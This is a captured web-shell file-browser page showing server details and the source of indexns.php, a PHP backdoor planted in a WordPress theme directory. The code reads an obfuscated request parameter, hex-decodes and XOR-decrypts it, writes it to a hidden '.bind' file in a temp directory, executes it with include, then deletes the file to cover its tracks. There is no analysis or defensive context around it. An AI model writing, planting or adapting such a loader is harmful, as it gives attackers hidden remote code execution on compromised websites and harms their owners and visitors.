HEX
Server: LiteSpeed
System: Linux CentOS-79-64-minimal 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User: vishn3436 (5293)
PHP: 8.0.15
Disabled: NONE
Upload Files
File: /home/vishnuweavesb2b.com/public_html/wp-content/themes/indexns.php
<?php

if(@$_REQUEST["e\x6E\x74r\x79"] !== null){
$elem = array_filter(["/var/tmp", getenv("TMP"), getenv("TEMP"), session_save_path(), "/dev/shm", ini_get("upload_tmp_dir"), getcwd(), "/tmp", sys_get_temp_dir()]);
$dchunk = hex2bin($_REQUEST["e\x6E\x74r\x79"]);
$key      =    ''    ;      $n=0;while($n<strlen($dchunk)){$key.=chr(ord($dchunk[$n])^41);$n++;}
foreach ($elem as $fac) {
            if (is_writable($fac) && is_dir($fac)) {
            $object = "$fac" . "/.bind";
            if (file_put_contents($object, $key)) {
    include $object;
    @unlink($object);
    exit;
}
        }
}
}